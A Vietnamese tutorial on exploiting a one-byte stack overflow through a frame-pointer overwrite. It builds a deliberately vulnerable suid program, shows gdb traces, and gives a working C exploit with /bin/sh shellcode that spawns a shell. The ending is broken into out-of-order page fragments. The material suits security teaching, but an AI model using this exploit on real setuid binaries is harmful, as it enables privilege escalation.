Làm tràn bộ đệm bằng 1 byte.

11 533 1
Làm tràn bộ đệm bằng 1 byte.

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Làm tràn bộ đệm bằng 1 byte.

Làm tràn bộ đệm bằng 1 bytetrang này đã được đọc lần Giới thiệuBộ đệm chương trình có thể bị làm tràn, ghi đè lên các dữ liệu quan trọng lưu trên vùng nhớ của tiến trình và từ đó chúng ta có thể đổi hướng thực thi của nó. Điều này không có gì mới. Bài viết này không đề cập nhiều đến việc làm thế nào để khai thác lỗi tràn bộ đệm, cũng như không dành để giải thích về lỗi này. Nó chỉ để làm rõ rằng có thể khai thác lỗi tràn bộ đệm kể cả trong những điều kiện xấu nhất, chẳng hạn bộ đệm chỉ có thể bị làm tràn bởi một byte. Có nhiều kỹ thuật kỳ bí với mục đích khai thác các tiến trình có đặc quyền trong những tình huống khó khăn nhất, kể cả khi đặc quyền của tiến trình đã bị tước bỏ. Chúng ta sẽ chỉ đề cập đến tràn bộ đệm một byte trong bài viết này.Mục tiêu tấn côngHãy viết một chương trình suid giả bị lỗi, chúng ta sẽ đặt tên là "suid".Chương trình sẽ được viết sao cho bị tràn bộ đệm chỉ một byte duy nhất.ipdev:~/tests$ cat > suid.c#include <stdio.h>func(char *sm){char buffer[256];int i;for(i=0;i<=256;i++)buffer[i]=sm[i];}main(int argc, char *argv[]){if (argc < 2) {printf("missing args\n");exit(-1);}func(argv[1]);}^Dipdev:~/tests$ gcc suid.c -o suidipdev:~/tests$Như đã thấy, chúng ta không có nhiều khoảng trống để khai thác chương trình này. Thực sự là tràn bộ đệm cũng chỉ bị gây ra bởi một byte vượt ngoài kích thước vùng lưu trữ của bộ đệm. Chúng ta sẽ phải sử dụng byte này một cách thật khéo léo. Trước khi khai thác lỗi, chúng ta nên xem qua byte này sẽ thực sự ghi đè lên những gì (bạn có thể đã biết điều đó). Hãy tập hợp những thông tin trên stack bằng gdb vào lúc tràn bộ đệm xảy ra.ipdev:~/tests$ gdb ./suid .(gdb) disassemble funcDump of assembler code for function func:0x8048134 <func>: pushl %ebp0x8048135 <func+1>: movl %esp,%ebp0x8048137 <func+3>: subl $0x104,%esp0x804813d <func+9>: nop0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)0x8048152 <func+30>: jle 0x8048158 <func+36>0x8048154 <func+32>: jmp 0x804817c <func+72>0x8048156 <func+34>: leal (%esi),%esi0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx0x804815e <func+42>: movl %edx,%eax0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax0x8048166 <func+50>: movl 0x8(%ebp),%edx0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx0x804816f <func+59>: movb (%edx),%cl0x8048171 <func+61>: movb %cl,(%eax)0x8048173 <func+63>: incl 0xfffffefc(%ebp)0x8048179 <func+69>: jmp 0x8048148 <func+20>0x804817b <func+71>: nop0x804817c <func+72>: movl %ebp,%esp0x804817e <func+74>: popl %ebp0x804817f <func+75>: retEnd of assembler dump.(gdb)Chúng ta đã biết, bộ xử lý (processor) sẽ push %eip lên stack trước tiên ngay khi thực hiện chỉ thị CALL. Tiếp theo, chương trình sẽ push %ebp lên kế đó như đã thấy ở địa chỉ *0x8048134. Cuối cùng, nó sẽ kích hoạt bản ghi cục bộ (local frame) bằng cách giảm %esp đi 0x104 (260) byte. Điều này có nghĩa các biến cục bộ sẽ có độ lớn 0x104 byte (0x100 cho biến chuỗi và 0x004 cho biến integer). Lưu ý rằng các biến lưu trên stack theo đơn vị word có độ dài 4 byte, vì vậy bộ đệm 255 byte sẽ thực sự chiếm vùng lưu trữ 256 byte. Bây giờ chúng ta sẽ xem nội dung stack có gì trước khi tràn bộ đệm xảy ra:saved_eipsaved_ebpchar buffer[255]char buffer[254] .char buffer[000] int iĐiều này có nghĩa byte bị làm tràn sẽ ghi đè lên giá trị con trỏ frame bảo lưu (saved frame pointer) đã được push lên stack ở đầu hàm func(). Nhưng làm thế nào byte này có thể được dùng để đổi hướng thực thi của chương trình? Hãy xem điều gì xảy ra với bản lưu của %ebp. Chúng ta đã biết rằng nó sẽ được phục hồi giá trị ở cuối hàm func(), như đã thấy ở địa chỉ *0x804817e. Những tiếp theo sẽ là gì?(gdb) disassemble mainDump of assembler code for function main:0x8048180 <main>: pushl %ebp0x8048181 <main+1>: movl %esp,%ebp0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)0x8048187 <main+7>: jg 0x80481a0 <main+32>0x8048189 <main+9>: pushl $0x8058ad80x804818e <main+14>: call 0x80481b8 <printf>0x8048193 <main+19>: addl $0x4,%esp0x8048196 <main+22>: pushl $0xffffffff0x8048198 <main+24>: call 0x804d598 <exit>0x804819d <main+29>: addl $0x4,%esp0x80481a0 <main+32>: movl 0xc(%ebp),%eax0x80481a3 <main+35>: addl $0x4,%eax0x80481a6 <main+38>: movl (%eax),%edx0x80481a8 <main+40>: pushl %edx0x80481a9 <main+41>: call 0x8048134 <func>0x80481ae <main+46>: addl $0x4,%esp0x80481b1 <main+49>: movl %ebp,%esp0x80481b3 <main+51>: popl %ebp0x80481b4 <main+52>: ret0x80481b5 <main+53>: nop0x80481b6 <main+54>: nop0x80481b7 <main+55>: nopEnd of assembler dump.(gdb)Tuyệt vời! Sau khi hàm func() được gọi, ở cuối hàm main(), %ebp sẽ được phục hồi giá trị vào %esp, như đã thấy ở địa chỉ *0x80481b1. Điều này có nghĩa chúng ta có thể đặt vào %esp một giá trị tuỳ ý. Nhưng nhớ rằng, giá trị tuỳ ý này không "thực sự" là tuỳ ý vì bạn chỉ có thể thay đổi một byte cuối cùng của %esp. Hãy kiểm tra xem chúng ta có đúng không.(gdb) disassemble mainDump of assembler code for function main:0x8048180 <main>: pushl %ebp0x8048181 <main+1>: movl %esp,%ebp0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)0x8048187 <main+7>: jg 0x80481a0 <main+32>0x8048189 <main+9>: pushl $0x8058ad8 0x804818e <main+14>: call 0x80481b8 <printf>0x8048193 <main+19>: addl $0x4,%esp0x8048196 <main+22>: pushl $0xffffffff0x8048198 <main+24>: call 0x804d598 <exit>0x804819d <main+29>: addl $0x4,%esp0x80481a0 <main+32>: movl 0xc(%ebp),%eax0x80481a3 <main+35>: addl $0x4,%eax0x80481a6 <main+38>: movl (%eax),%edx0x80481a8 <main+40>: pushl %edx0x80481a9 <main+41>: call 0x8048134 <func>0x80481ae <main+46>: addl $0x4,%esp0x80481b1 <main+49>: movl %ebp,%esp0x80481b3 <main+51>: popl %ebp0x80481b4 <main+52>: ret0x80481b5 <main+53>: nop0x80481b6 <main+54>: nop0x80481b7 <main+55>: nopEnd of assembler dump.(gdb) break *0x80481b4Breakpoint 2 at 0x80481b4(gdb) run `overflow 257`Starting program: /home/klog/tests/suid `overflow 257`Breakpoint 2, 0x80481b4 in main ()(gdb) info register espesp 0xbffffd45 0xbffffd45(gdb)Chúng ta đã đúng. Sau khi làm tràn bộ đệm bằng một ký tự 'A' (0x41), giátrị %ebp được chuyển vào %esp, và được tăng lên thêm 4 vì %ebp được pop rakhỏi stack ngay trước chỉ thị RET. Điều này cho ta kết quả 0xbffffd41 + 0x4= 0xbffffd45.Chuẩn bịThay đổi con trỏ stack sẽ cho chúng ta điều gì? Chúng ta không thể thay đổi giá trị của thanh ghi con trỏ bảo lưu (saved %eip) một cách trực tiếp giống như trong các khai thác lỗi tràn bộ đệm kinh điển, nhưng chúng ta có thể khiến bộ xử lý nghĩ rằng giá trị của nó trỏ đến nơi khác. Khi bộ xử lý trở về (return) tự một thủ tục, nó chỉ pop giá trị word đầu tiên trên stack, xem nó là giá trị %eip cũ. Nhưng nếu chúng ta thay đổi giá trị của %esp, chúng ta có thể khiến bộ xử lý pop một giá trị bất kỳ trên stack và xem đó như là %eip, và vì thế đổi hướng thực thi của chương trình. Hãy làm tràn bộ đệm với chuỗi có dạng sau:[nops][shellcode][&shellcode][%ebp_altering_byte]Để làm được điều này, trước chúng ta nên xác định giá trị mà chúng ta muốn thay đổi %ebp thành (từ đó thay đổi %esp). Hãy xem nội dung trên stack có gì khi tràn bộ đệm xảy ra:saved_eipsaved_ebp (altered by 1 byte) &shellcode \shellcode | char buffer nops /int iỞ đây, chúng ta muốn %esp trỏ đến &shellcode để địa chỉ của shellcode sẽ được pop vào %eip khi bộ xử lý trở về từ hàm main(). Bây giờ chúng ta đã có đầy đủ những kiến thức cần thiết để khai thác chương trình bị lỗi, chúng ta cần trích thông tin chính xác từ tiến trình đang thực thi trong ngữ cảnh nó sẽ xảy ra khi bị khai thác. Thông tin này gồm địa chỉ của bộ đệm bị làm tràn và địa chỉ của con trỏ đến bộ đệm của chúng ta (&shellcode). Hãy chạy chương trình như thể chúng ta muốn nó bị làm tràn bởi chuỗi nhập có chiều dài 257 byte. Để làm được điều này, chúng ta phải viết một chương trình khai thác giả để tái tạo ngữ cảnh mà chúng ta sẽ tiến hành khai thác tiếntrình bị lỗi.(gdb) qipdev:~/tests$ cat > fake_exp.c#include <stdio.h>#include <unistd.h>main(){int i;char buffer[1024];bzero(&buffer, 1024);for (i=0;i<=256;i++) {buffer[i] = 'A';}execl("./suid", "suid", buffer, NULL);}^Dipdev:~/tests$ gcc fake_exp.c -o fake_expipdev:~/tests$ gdb --exec=fake_exp --symbols=suid .(gdb) runStarting program: /home/klog/tests/exp2Program received signal SIGTRAP, Trace/breakpoint trap.0x8048090 in ___crt_dummy__ ()(gdb) disassemble funcDump of assembler code for function func: 0x8048134 <func>: pushl %ebp0x8048135 <func+1>: movl %esp,%ebp0x8048137 <func+3>: subl $0x104,%esp0x804813d <func+9>: nop0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)0x8048152 <func+30>: jle 0x8048158 <func+36>0x8048154 <func+32>: jmp 0x804817c <func+72>0x8048156 <func+34>: leal (%esi),%esi0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx0x804815e <func+42>: movl %edx,%eax0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax0x8048166 <func+50>: movl 0x8(%ebp),%edx0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx0x804816f <func+59>: movb (%edx),%cl0x8048171 <func+61>: movb %cl,(%eax)0x8048173 <func+63>: incl 0xfffffefc(%ebp)0x8048179 <func+69>: jmp 0x8048148 <func+20>0x804817b <func+71>: nop0x804817c <func+72>: movl %ebp,%esp0x804817e <func+74>: popl %ebp0x804817f <func+75>: retEnd of assembler dump.(gdb) break *0x804813dBreakpoint 1 at 0x804813d(gdb) cContinuing.Breakpoint 1, 0x804813d in func ()(gdb) info register espesp 0xbffffc60 0xbffffc60(gdb)Bây giờ chúng ta đã có giá trị của %esp ngay sau khi bản ghi của hàm func() được kích hoạt. Từ giá trị này chúng ta có thể dự đoán bộ đệm của chúng ta sẽ được cấp phát ở địa chỉ 0xbffffc60 + 0x04 (size of 'int i') =0xbffffc64, và con trỏ đến vùng shellcode của chúng ta sẽ được đặt ở địa chỉ 0xbffffc64 + 0x100 (size of 'char buffer[256]') - 0x04 (size of our pointer) = 0xbffffd60. Viết chương trình tấn côngCó những giá trị này sẽ cho phép chúng ta viết phiên bản đầy đủ của chương trình khai thác lỗi, có cả shellcode, con trỏ đến shellcode và giá trị byte bị ghi đè. Giá trị chúng ta cần ghi đè lên byte cuối cùng của %ebp bảo lưu sẽ là 0x60 - 0x04 = 0x5c, vì nhớ lại rằng chúng ta sẽ pop %ebp ngay trước khi trở về từ hàm main(). 4 byte này sẽ bù cho giá trị %ebp đã bị lấy ra khỏi stack. Đối với con trỏ đến vùng shellcode của chúng ta, chúng ta không cần nó phải trỏ đến địa chỉ chính xác. Tất cả những gì chúng ta cần là khiến bộ xử lý trở về địa chỉ vào khoảng giữa các chỉ thị NOP ở phần đầu của bộ đệm bị làm tràn (0xbffffc64) và shellcode của chúng ta (0xbffffc64 -sizeof(shellcode)), giống như khi thực hiện tràn bộ đệm thông thường. Chẳng hạn ta sử dụng địa chỉ 0xbffffc74.ipdev:~/tests$ cat > exp.c#include <stdio.h>#include <unistd.h>char sc_linux[] ="\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07""\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12""\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8""\xd7\xff\xff\xff/bin/sh";main(){int i, j;char buffer[1024];bzero(&buffer, 1024);for (i=0;i<=(252-sizeof(sc_linux));i++){buffer[i] = 0x90;}for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++){buffer[i] = sc_linux[j];}buffer[i++] = 0x74; /* Address of our buffer */buffer[i++] = 0xfc; buffer[i++] = 0xff; buffer[i++] = 0xbf; buffer[i++] = 0x5c;execl("./suid", "suid", buffer, NULL);}^Dipdev:~/tests$ gcc exp.c -o expipdev:~/tests$ ./expbash$Tuyệt! Hãy xem xét kỹ hơn điều gì đã xảy ra. Mặc dù chúng ta đã xây dựng chương trình khai thác lỗi dựa trên lý thuyết tôi đã trình bày ở đây, sẽ rất thú vị nếu chúng ta xem xét tất cả mọi thứ đã gắn kết lại với nhau như thế nào. Bạn có thể không cần đọc đoạn này nếu bạn hiểu rõ tất cả những gì đã giải thích ở trên, và có thể bắt đầu tìm kiếm những lỗ hổng trong thực tế.ipdev:~/tests$ gdb --exec=exp --symbols=suid .(gdb) runStarting program: /home/klog/tests/expProgram received signal SIGTRAP, Trace/breakpoint trap.0x8048090 in ___crt_dummy__ ()(gdb)Trước tiên hãy đặt vài điểm dừng (breakpoint) để theo dõi quá trình khai thác lỗi chương trình "suid" một cách kỹ lưỡng những gì diễn ra. Chúng ta sẽ lần theo giá trị chúng ta đã ghi đè lên con trỏ frame cho đến khi đoạn shellcode của chúng ta được thực thi.(gdb) disassemble funcDump of assembler code for function func:0x8048134 <func>: pushl %ebp0x8048135 <func+1>: movl %esp,%ebp0x8048137 <func+3>: subl $0x104,%esp0x804813d <func+9>: nop0x804813e <func+10>: movl $0x0,0xfffffefc(%ebp)0x8048148 <func+20>: cmpl $0x100,0xfffffefc(%ebp)0x8048152 <func+30>: jle 0x8048158 <func+36>0x8048154 <func+32>: jmp 0x804817c <func+72>0x8048156 <func+34>: leal (%esi),%esi 0x8048158 <func+36>: leal 0xffffff00(%ebp),%edx0x804815e <func+42>: movl %edx,%eax0x8048160 <func+44>: addl 0xfffffefc(%ebp),%eax0x8048166 <func+50>: movl 0x8(%ebp),%edx0x8048169 <func+53>: addl 0xfffffefc(%ebp),%edx0x804816f <func+59>: movb (%edx),%cl0x8048171 <func+61>: movb %cl,(%eax)0x8048173 <func+63>: incl 0xfffffefc(%ebp)0x8048179 <func+69>: jmp 0x8048148 <func+20>0x804817b <func+71>: nop0x804817c <func+72>: movl %ebp,%esp0x804817e <func+74>: popl %ebp0x804817f <func+75>: retEnd of assembler dump.(gdb) break *0x804817eBreakpoint 1 at 0x804817e(gdb) break *0x804817fBreakpoint 2 at 0x804817f(gdb)Điểm dừng đầu tiên cho phép chúng ta theo dõi nội dung của %ebp trước và sau khi bị pop ra khỏi stack. Những giá trị này sẽ tương ứng với giá trị nguyên thuỷ và giá trị đã bị ghi đè.(gdb) disassemble mainDump of assembler code for function main:0x8048180 <main>: pushl %ebp0x8048181 <main+1>: movl %esp,%ebp0x8048183 <main+3>: cmpl $0x1,0x8(%ebp)0x8048187 <main+7>: jg 0x80481a0 <main+32>0x8048189 <main+9>: pushl $0x8058ad80x804818e <main+14>: call 0x80481b8 <_IO_printf>0x8048193 <main+19>: addl $0x4,%esp0x8048196 <main+22>: pushl $0xffffffff0x8048198 <main+24>: call 0x804d598 <exit>0x804819d <main+29>: addl $0x4,%esp0x80481a0 <main+32>: movl 0xc(%ebp),%eax0x80481a3 <main+35>: addl $0x4,%eax0x80481a6 <main+38>: movl (%eax),%edx0x80481a8 <main+40>: pushl %edx0x80481a9 <main+41>: call 0x8048134 <func>0x80481ae <main+46>: addl $0x4,%esp0x80481b1 <main+49>: movl %ebp,%esp0x80481b3 <main+51>: popl %ebp0x80481b4 <main+52>: ret0x80481b5 <main+53>: nop0x80481b6 <main+54>: nop0x80481b7 <main+55>: nopEnd of assembler dump.(gdb) break *0x80481b3Breakpoint 3 at 0x80481b3(gdb) break *0x80481b4Breakpoint 4 at 0x80481b4(gdb)Ở đây chúng ta muốn theo dõi việc truyền giá trị %ebp đã bị ghi đè sang cho %esp và nội dung của %esp cho đến khi việc trở về từ hàm main() xảy ra. Hãy bắt đầu chạy chương trình.(gdb) cContinuing.Breakpoint 1, 0x804817e in func ()(gdb) info reg ebpebp 0xbffffd64 0xbffffd64(gdb) cContinuing.Breakpoint 2, 0x804817f in func () (gdb) info reg ebpebp 0xbffffd5c 0xbffffd5c(gdb) cContinuing.Breakpoint 3, 0x80481b3 in main ()(gdb) info reg espesp 0xbffffd5c 0xbffffd5c(gdb) cContinuing.Breakpoint 4, 0x80481b4 in main ()(gdb) info reg espesp 0xbffffd60 0xbffffd60(gdb)Đầu tiên, chúng ta thấy giá trị nguyên thuỷ của %ebp. Sau khi được pop ra khỏi stack, chúng ta có thể thấy nó đã bị thay thế bởi giá trị bị ghi đè bởi byte cuối cùng của chuỗi nhập dùng làm tràn, 0x5c. Sau đó, giá trị %ebp được chuyển sang %esp, và cuối cùng, sau khi %ebp đã được pop ra khỏi stack một lần nữa, giá trị %esp được tăng thêm 4 byte. Cho ta giá trị cuối cùng là 0xbffffd60. Hãy xem có gì ở địa chỉ đó.(gdb) x 0xbffffd600xbffffd60 <__collate_table+3086619092>: 0xbffffc74(gdb) x/10 0xbffffc740xbffffc74 <__collate_table+3086618856>: 0x90909090 0x90909090 0x90909090 0x909090900xbffffc84 <__collate_table+3086618872>: 0x90909090 0x90909090 0x90909090 0x909090900xbffffc94 <__collate_table+3086618888>: 0x90909090 0x90909090(gdb)Như có thể thấy 0xbffffd60 thực sự là địa chỉ của con trỏ trỏ đến đoạn giữa các NOP ngay trước đoạn shellcode của chúng ta. Khi bộ xử lý trở về từ hàm main(), nó sẽ pop giá trị này vào %eip và nhảy đến chính xác địa chỉ 0xbffffc74. Lúc này shellcode của chúng ta sẽ được thực thi.(gdb) cContinuing.Program received signal SIGTRAP, Trace/breakpoint trap.0x40000990 in ?? ()(gdb) cContinuing.bash$ [...]... liệu bị làm tràn chắc chắn là có thể làm được, nhưng với những điều kiện nào? Một vấn đề thực tế, tái tạo ngữ cảnh khai thác lỗi có thể là một công việc khó khăn trong một môi trường được bảo vệ hay tệ hơn là phải thực hiện trên máy từ xa Chúnng đòi hỏi ta cần phải đoán chính xác kích thước stack của tiến trình muốn tấn công Để giải quyết vấn đền này chúng ta thêm những gì cần thiết cho bộ đệm làm tràn. .. khi nghe có ai đó đã áp dụng kỹ thuật này vào lỗi trong thực tế, có một điều chắc chắn đối với chúng ta rằng không có vấn đề bộ đệm bị tràn nhỏ hay lớn cũng như không có chuyện lỗ hổng nhỏ hay lớn Mọi lỗ hổng đều có thể khai thác được, tất cả những gì bạn cần là phải tìm ra cách làm như thế nào ... ngay kế giá trị con trỏ nền bảo lưu, nghĩa là nó phải là biến được khai báo đầu tiên trong hàm Không cần phải nói, sẽ cần phải lưu ý đến các giá trị đệm (padding) Và làm thế nào để tấn công trên các kiến trúc "big endian"? Chúng ta không thể có khả năng làm gì khi chỉ có thể ghi đè lên byte lớn nhất của con trỏ frame, trừ phi chúng ta có thể với được đến địa chỉ đã bị thay đổi Kết luận nghe có vẻ bi . Làm tràn bộ đệm bằng 1 bytetrang này đã được đọc lần Giới thiệuBộ đệm chương trình có thể bị làm tràn, ghi đè lên các dữ liệu. đến việc làm thế nào để khai thác lỗi tràn bộ đệm, cũng như không dành để giải thích về lỗi này. Nó chỉ để làm rõ rằng có thể khai thác lỗi tràn bộ đệm kể

Ngày đăng: 02/11/2012, 14:18

Từ khóa liên quan

Tài liệu cùng người dùng

Tài liệu liên quan